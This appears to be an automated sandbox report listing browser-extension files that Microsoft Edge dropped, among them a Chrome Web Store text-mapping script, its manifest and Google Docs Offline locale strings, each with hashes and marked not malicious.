Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir3504_1500761458\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir3504_1500761458\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
